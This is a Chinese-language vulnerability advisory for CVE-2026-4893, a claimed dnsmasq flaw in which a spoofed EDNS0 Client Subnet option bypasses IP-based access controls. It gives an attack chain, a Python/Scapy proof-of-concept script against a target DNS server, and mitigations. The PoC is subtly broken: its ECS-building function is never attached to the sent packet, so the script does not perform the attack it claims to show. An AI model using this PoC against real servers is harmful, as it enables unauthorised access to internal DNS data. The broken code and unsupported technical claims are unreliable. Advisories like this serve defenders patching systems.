IPBUF安全漏洞报告
English
CVE-2026-4893 CVSS 5.3 中危

CVE-2026-4893 dnsmasq信息泄露漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-4893
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
dnsmasq

相关标签

信息泄露DNSdnsmasqRFC 7871ECS BypassCWE-200

漏洞概述

dnsmasq是一款功能轻量级的DNS转发器和DHCP服务器。该软件存在一个信息泄露漏洞,允许远程攻击者通过发送特制的DNS数据包来绕过源地址检查。具体而言,攻击者可以利用包含RFC 7871客户端子网信息的DNS查询包欺骗服务器,导致本应受限制的信息被泄露。

技术细节

该漏洞的核心在于dnsmasq处理RFC 7871(ECS, EDNS0 Client Subnet)扩展机制时的逻辑缺陷。在常规配置下,dnsmasq可能依据数据包的源IP地址进行访问控制,以防止未授权用户查询特定域名的解析记录。然而,当攻击者构造一个包含恶意ECS选项的DNS查询时,dnsmasq在验证请求来源时,可能错误地优先信任ECS选项中嵌入的子网信息,而非数据包的实际网络层源IP。这使得攻击者能够伪造内网IP地址,欺骗dnsmasq认为请求来自受信任区域,从而绕过基于IP的访问控制列表(ACL),获取敏感的DNS解析信息。

攻击链分析

STEP 1
侦察
攻击者识别目标网络上运行存在漏洞的dnsmasq版本,并确定受保护的内部域名或受信任的网段信息。
STEP 2
构造恶意数据包
攻击者使用工具(如Scapy)构造DNS查询数据包,在其中添加RFC 7871定义的ECS(客户端子网)选项,并将子网地址修改为目标网络受信任的内网地址(如10.0.0.0/24)。
STEP 3
发送漏洞利用请求
攻击者向目标dnsmasq服务器发送该特制数据包。虽然攻击者的实际源IP可能是外网IP,但dnsmasq解析ECS选项后,误认为请求来自受信任的子网。
STEP 4
获取敏感信息
dnsmasq绕过基于源IP的检查,返回本应仅对内网可见的DNS解析记录,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-4893: dnsmasq Information Disclosure via RFC 7871 # This script demonstrates sending a crafted DNS query with a spoofed Client Subnet (ECS) option. from scapy.all import * import socket TARGET_DNS = "192.168.1.1" # Replace with the target dnsmasq server IP DOMAIN_TO_QUERY = "internal.local" SPOOFED_SUBNET = "10.0.0.0" # The trusted subnet we want to impersonate def build_ecs_option(subnet): # Construct the EDNS0 Client Subnet (ECS) option (Option Code 8) # FAMILY: IPv4 (1), SOURCE PREFIX LENGTH: 24, SCOPE PREFIX LENGTH: 0 # ADDRESS: The spoofed subnet addr_bytes = socket.inet_aton(subnet) # Truncate to prefix length if necessary (simplified here) option_data = bytes([0, 1, 24, 0]) + addr_bytes[:3] return DNSRROPT(rdata=option_data) def send_exploit(): # Build DNS layer with query dns_query = DNS(rd=1, qd=DNSQR(qtype='A', qname=DOMAIN_TO_QUERY)) # Build EDNS0 layer with the crafted ECS option # Note: Scapy handling of arbitrary options might require specific construction # This is a conceptual representation of the payload structure. # Construct IP/UDP layers packet = IP(dst=TARGET_DNS) / UDP(dport=53) / dns_query print(f"[*] Sending crafted DNS packet to {TARGET_DNS} with spoofed ECS: {SPOOFED_SUBNET}") # Send packet and wait for response response = sr1(packet, timeout=2, verbose=0) if response: print("[+] Received response:") response.show() else: print("[-] No response received.") if __name__ == "__main__": send_exploit()

影响范围

dnsmasq < 2.90 (具体受影响版本请参考厂商安全公告)

防御指南

临时缓解措施
建议立即检查并更新dnsmasq到最新版本以修补此漏洞。若暂时无法升级,可通过配置网络防火墙严格限制UDP/53端口的入站流量,仅允许合法的DNS客户端IP地址连接,同时在dnsmasq配置文件中通过参数禁用subnet匹配功能或过滤包含EDNS0选项的请求作为临时缓解手段。

参考链接